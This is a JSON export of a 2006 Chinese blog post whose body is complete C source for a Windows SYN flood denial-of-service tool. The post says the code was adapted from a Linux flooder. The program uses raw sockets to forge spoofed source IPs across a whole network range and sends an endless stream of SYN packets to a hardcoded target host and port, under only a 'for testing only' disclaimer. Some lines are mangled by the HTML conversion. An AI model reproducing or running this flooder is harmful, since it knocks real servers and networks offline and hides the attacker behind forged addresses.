{"id":17,"date":"2006-10-26T09:49:00","date_gmt":"2006-10-26T09:49:00","guid":{"rendered":"http:\/\/www.houquner.com\/?p=46"},"modified":"2006-10-26T09:49:00","modified_gmt":"2006-10-26T09:49:00","slug":"win2000%e4%b8%8b%e7%9a%84syn-flood%e6%ba%90%e4%bb%a3%e7%a0%81","status":"publish","type":"post","link":"https:\/\/www.houquner.com\/index.php\/archives\/17","title":{"rendered":"Win2000\u4e0b\u7684SYN Flood\u6e90\u4ee3\u7801"},"content":{"rendered":"

\u597d\u4e45\u4ee5\u524d\u4fee\u6539\u7684.\u4ec5\u4f9b\u6d4b\u8bd5\u4f7f\u7528\u3002<\/p>\n

\/\/\u9644\u5f55\uff1aWin2000\u4e0b\u7684SYN Flood\u7a0b\u5e8f
\n\/\/\u6539\u7f16\u81eaLinux\u4e0bZakath\u7f16\u5199\u7684SYN Flooder
\n\/\/\u7f16\u8bd1\u73af\u5883\uff1aVC++6.0,\u7f16\u8bd1\u65f6\u9700\u8981\u5305\u542bws2_32.lib#include <winsock2.h><\/p>\n

include <Ws2tcpip.h><\/h1>\n

include <stdio.h><\/h1>\n

include <stdlib.h><\/h1>\n

define SEQ 0x28376839<\/h1>\n

define SYN_DEST_IP “10.0.3.1”\/\/\u88ab\u653b\u51fb\u7684IP<\/h1>\n

define FAKE_IP “10.0.3.60” \/\/\u4f2a\u88c5IP\u7684\u8d77\u59cb\u503c\uff0c\u672c\u7a0b\u5e8f\u7684\u4f2a\u88c5IP\u8986\u76d6\u4e00\u4e2aB\u7c7b\u7f51\u6bb5<\/h1>\n

define STATUS_FAILED 0xFFFF \/\/\u9519\u8bef\u8fd4\u56de\u503c<\/h1>\n

typedef struct _iphdr \/\/\u5b9a\u4e49IP\u9996\u90e8<\/p>\n

{<\/p>\n

unsigned char h_verlen; \/\/4\u4f4d\u9996\u90e8\u957f\u5ea6,4\u4f4dIP\u7248\u672c\u53f7<\/p>\n

unsigned char tos; \/\/8\u4f4d\u670d\u52a1\u7c7b\u578bTOS<\/p>\n

unsigned short total_len; \/\/16\u4f4d\u603b\u957f\u5ea6\uff08\u5b57\u8282\uff09<\/p>\n

unsigned short ident; \/\/16\u4f4d\u6807\u8bc6<\/p>\n

unsigned short frag_and_flags; \/\/3\u4f4d\u6807\u5fd7\u4f4d<\/p>\n

unsigned char ttl; \/\/8\u4f4d\u751f\u5b58\u65f6\u95f4 TTL<\/p>\n

unsigned char proto; \/\/8\u4f4d\u534f\u8bae (TCP, UDP \u6216\u5176\u4ed6)<\/p>\n

unsigned short checksum; \/\/16\u4f4dIP\u9996\u90e8\u6821\u9a8c\u548c<\/p>\n

unsigned int sourceIP; \/\/32\u4f4d\u6e90IP\u5730\u5740<\/p>\n

unsigned int destIP; \/\/32\u4f4d\u76ee\u7684IP\u5730\u5740<\/p>\n

}IP_HEADER;
\nstruct \/\/\u5b9a\u4e49TCP\u4f2a\u9996\u90e8<\/p>\n

{<\/p>\n

unsigned long saddr; \/\/\u6e90\u5730\u5740<\/p>\n

unsigned long daddr; \/\/\u76ee\u7684\u5730\u5740<\/p>\n

char mbz;<\/p>\n

char ptcl; \/\/\u534f\u8bae\u7c7b\u578b<\/p>\n

unsigned short tcpl; \/\/TCP\u957f\u5ea6<\/p>\n

}psd_header;
\ntypedef struct _tcphdr \/\/\u5b9a\u4e49TCP\u9996\u90e8<\/p>\n

{<\/p>\n

USHORT th_sport; \/\/16\u4f4d\u6e90\u7aef\u53e3<\/p>\n

USHORT th_dport; \/\/16\u4f4d\u76ee\u7684\u7aef\u53e3<\/p>\n

unsigned int th_seq; \/\/32\u4f4d\u5e8f\u5217\u53f7<\/p>\n

unsigned int th_ack; \/\/32\u4f4d\u786e\u8ba4\u53f7<\/p>\n

unsigned char th_lenres; \/\/4\u4f4d\u9996\u90e8\u957f\u5ea6\/6\u4f4d\u4fdd\u7559\u5b57<\/p>\n

unsigned char th_flag; \/\/6\u4f4d\u6807\u5fd7\u4f4d<\/p>\n

USHORT th_win; \/\/16\u4f4d\u7a97\u53e3\u5927\u5c0f<\/p>\n

USHORT th_sum; \/\/16\u4f4d\u6821\u9a8c\u548c<\/p>\n

USHORT th_urp; \/\/16\u4f4d\u7d27\u6025\u6570\u636e\u504f\u79fb\u91cf<\/p>\n

}TCP_HEADER;
\n\/\/CheckSum:\u8ba1\u7b97\u6821\u9a8c\u548c\u7684\u5b50\u51fd\u6570<\/p>\n

USHORT checksum(USHORT *buffer, int size)<\/p>\n

{<\/p>\n

unsigned long cksum=0;<\/p>\n

while(size >1) {<\/p>\n

cksum+=*buffer++;<\/p>\n

size -=sizeof(USHORT);<\/p>\n

}<\/p>\n

if(size ) {<\/p>\n

cksum += (UCHAR<\/em>)buffer;<\/p>\n

}<\/p>\n

cksum = (cksum >> 16) + (cksum & 0xffff);<\/p>\n

cksum += (cksum >>16);<\/p>\n

return (USHORT)(~cksum);<\/p>\n

}
\n\/\/ SynFlood\u4e3b\u51fd\u6570<\/p>\n

int main()<\/p>\n

{<\/p>\n

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;<\/p>\n

int TimeOut=2000,SendSEQ=0;<\/p>\n

char SendBuf[128]={0};<\/p>\n

char RecvBuf[65535]={0};<\/p>\n

WSADATA wsaData;<\/p>\n

SOCKET SockRaw=(SOCKET)NULL;<\/p>\n

struct sockaddr_in DestAddr;<\/p>\n

IP_HEADER ip_header;<\/p>\n

TCP_HEADER tcp_header;<\/p>\n

\/\/\u521d\u59cb\u5316SOCK_RAW<\/p>\n

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){<\/p>\n

fprintf(stderr,”WSAStartup failed: %dn”,ErrorCode);<\/p>\n

ExitProcess(STATUS_FAILED);<\/p>\n

}<\/p>\n

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
\nif (SockRaw==INVALID_SOCKET){<\/p>\n

fprintf(stderr,”WSASocket() failed: %dn”,WSAGetLastError());<\/p>\n

ExitProcess(STATUS_FAILED);<\/p>\n

}<\/p>\n

flag=TRUE;<\/p>\n

\/\/\u8bbe\u7f6eIP_HDRINCL\u4ee5\u81ea\u5df1\u586b\u5145IP\u9996\u90e8<\/p>\n

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));<\/p>\n

if (ErrorCode==SOCKET_ERROR) printf(“Set IP_HDRINCL Error!n”);<\/p>\n

__try{<\/p>\n

\/\/\u8bbe\u7f6e\u53d1\u9001\u8d85\u65f6<\/p>\n

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));<\/p>\n

if(ErrorCode==SOCKET_ERROR){<\/p>\n

fprintf(stderr,”Failed to set send TimeOut: %dn”,WSAGetLastError());<\/p>\n

__leave;<\/p>\n

}<\/p>\n

memset(&DestAddr,0,sizeof(DestAddr));<\/p>\n

DestAddr.sin_family=AF_INET;<\/p>\n

DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);<\/p>\n

FakeIpNet=inet_addr(FAKE_IP);<\/p>\n

FakeIpHost=ntohl(FakeIpNet);<\/p>\n

\/\/\u586b\u5145IP\u9996\u90e8<\/p>\n

ip_header.h_verlen=(4<<4 | sizeof(ip_header)\/sizeof(unsigned long));<\/p>\n

\/\/\u9ad8\u56db\u4f4dIP\u7248\u672c\u53f7\uff0c\u4f4e\u56db\u4f4d\u9996\u90e8\u957f\u5ea6<\/p>\n

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); \/\/16\u4f4d\u603b\u957f\u5ea6\uff08\u5b57\u8282\uff09<\/p>\n

ip_header.ident=1; \/\/16\u4f4d\u6807\u8bc6<\/p>\n

ip_header.frag_and_flags=0; \/\/3\u4f4d\u6807\u5fd7\u4f4d<\/p>\n

ip_header.ttl=128; \/\/8\u4f4d\u751f\u5b58\u65f6\u95f4TTL<\/p>\n

ip_header.proto=IPPROTO_TCP; \/\/8\u4f4d\u534f\u8bae(TCP,UDP…)<\/p>\n

ip_header.checksum=0; \/\/16\u4f4dIP\u9996\u90e8\u6821\u9a8c\u548c<\/p>\n

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); \/\/32\u4f4d\u6e90IP\u5730\u5740<\/p>\n

ip_header.destIP=inet_addr(SYN_DEST_IP); \/\/32\u4f4d\u76ee\u7684IP\u5730\u5740<\/p>\n

\/\/\u586b\u5145TCP\u9996\u90e8<\/p>\n

tcp_header.th_sport=htons(4000); \/\/\u6e90\u7aef\u53e3\u53f7<\/p>\n

tcp_header.th_dport=htons(111); \/\/\u76ee\u7684\u7aef\u53e3\u53f7<\/p>\n

tcp_header.th_seq=htonl(SEQ+SendSEQ); \/\/SYN\u5e8f\u5217\u53f7<\/p>\n

tcp_header.th_ack=0; \/\/ACK\u5e8f\u5217\u53f7\u7f6e\u4e3a0<\/p>\n

tcp_header.th_lenres=(sizeof(TCP_HEADER)\/4<<4|0); \/\/TCP\u957f\u5ea6\u548c\u4fdd\u7559\u4f4d<\/p>\n

tcp_header.th_flag=2; \/\/SYN \u6807\u5fd7<\/p>\n

tcp_header.th_win=htons(16384); \/\/\u7a97\u53e3\u5927\u5c0f<\/p>\n

tcp_header.th_urp=0; \/\/\u504f\u79fb<\/p>\n

tcp_header.th_sum=0; \/\/\u6821\u9a8c\u548c<\/p>\n

\/\/\u586b\u5145TCP\u4f2a\u9996\u90e8\uff08\u7528\u4e8e\u8ba1\u7b97\u6821\u9a8c\u548c\uff0c\u5e76\u4e0d\u771f\u6b63\u53d1\u9001\uff09<\/p>\n

psd_header.saddr=ip_header.sourceIP; \/\/\u6e90\u5730\u5740<\/p>\n

psd_header.daddr=ip_header.destIP; \/\/\u76ee\u7684\u5730\u5740<\/p>\n

psd_header.mbz=0;<\/p>\n

psd_header.ptcl=IPPROTO_TCP; \/\/\u534f\u8bae\u7c7b\u578b<\/p>\n

psd_header.tcpl=htons(sizeof(tcp_header)); \/\/TCP\u9996\u90e8\u957f\u5ea6<\/p>\n

while(1) {<\/p>\n

\/\/\u6bcf\u53d1\u900110,240\u4e2a\u62a5\u6587\u8f93\u51fa\u4e00\u4e2a\u6807\u793a\u7b26<\/p>\n

printf(“.”);<\/p>\n

for(counter=0;counter<10240;counter++){<\/p>\n

if(SendSEQ++==65536) SendSEQ=1; \/\/\u5e8f\u5217\u53f7\u5faa\u73af<\/p>\n

\/\/\u66f4\u6539IP\u9996\u90e8<\/p>\n

ip_header.checksum=0; \/\/16\u4f4dIP\u9996\u90e8\u6821\u9a8c\u548c<\/p>\n

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); \/\/32\u4f4d\u6e90IP\u5730\u5740<\/p>\n

\/\/\u66f4\u6539TCP\u9996\u90e8<\/p>\n

tcp_header.th_seq=htonl(SEQ+SendSEQ); \/\/SYN\u5e8f\u5217\u53f7<\/p>\n

tcp_header.th_sum=0; \/\/\u6821\u9a8c\u548c<\/p>\n

\/\/\u66f4\u6539TCP Pseudo Header<\/p>\n

psd_header.saddr=ip_header.sourceIP;<\/p>\n

\/\/\u8ba1\u7b97TCP\u6821\u9a8c\u548c\uff0c\u8ba1\u7b97\u6821\u9a8c\u548c\u65f6\u9700\u8981\u5305\u62ecTCP pseudo header<\/p>\n

memcpy(SendBuf,&psd_header,sizeof(psd_header));<\/p>\n

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));<\/p>\n

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));<\/p>\n

\/\/\u8ba1\u7b97IP\u6821\u9a8c\u548c<\/p>\n

memcpy(SendBuf,&ip_header,sizeof(ip_header));<\/p>\n

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));<\/p>\n

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);<\/p>\n

datasize=sizeof(ip_header)+sizeof(tcp_header);<\/p>\n

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);<\/p>\n

\/\/\u586b\u5145\u53d1\u9001\u7f13\u51b2\u533a<\/p>\n

memcpy(SendBuf,&ip_header,sizeof(ip_header));<\/p>\n

\/\/\u53d1\u9001TCP\u62a5\u6587<\/p>\n

ErrorCode=sendto(SockRaw,<\/p>\n

SendBuf,<\/p>\n

datasize,<\/p>\n

0,<\/p>\n

(struct sockaddr*) &DestAddr,<\/p>\n

sizeof(DestAddr));<\/p>\n

if (ErrorCode==SOCKET_ERROR) printf(“nSend Error:%dn”,GetLastError());<\/p>\n

}\/\/End of for<\/p>\n

}\/\/End of While<\/p>\n

}\/\/End of try<\/p>\n

__finally {<\/p>\n

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);<\/p>\n

WSACleanup();<\/p>\n

}<\/p>\n

return 0;<\/p>\n

}<\/p>\n

\u8f6c\u8f7d\u8bf7\u6ce8\u660e\uff1aKermit\u7684\u7f51\u7ad9<\/a> » Win2000\u4e0b\u7684SYN Flood\u6e90\u4ee3\u7801<\/a><\/p>","protected":false},"excerpt":{"rendered":"

\u597d\u4e45\u4ee5\u524d\u4fee\u6539\u7684.\u4ec5\u4f9b\u6d4b\u8bd5\u4f7f\u7528\u3002 \/\/\u9644\u5f55\uff1aWin2000\u4e0b\u7684SYN Flood\u7a0b\u5e8f \/\/\u6539\u7f16\u81eaLinux\u4e0bZakath\u7f16\u5199\u7684SYN Flooder \/\/\u7f16\u8bd1\u73af\u5883\uff1aVC++6.0,\u7f16\u8bd1\u65f6\u9700\u8981\u5305\u542bws2_32.lib#include <winsoc […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-17","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/17"}],"collection":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/comments?post=17"}],"version-history":[{"count":0,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/17\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/media?parent=17"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/categories?post=17"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/tags?post=17"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}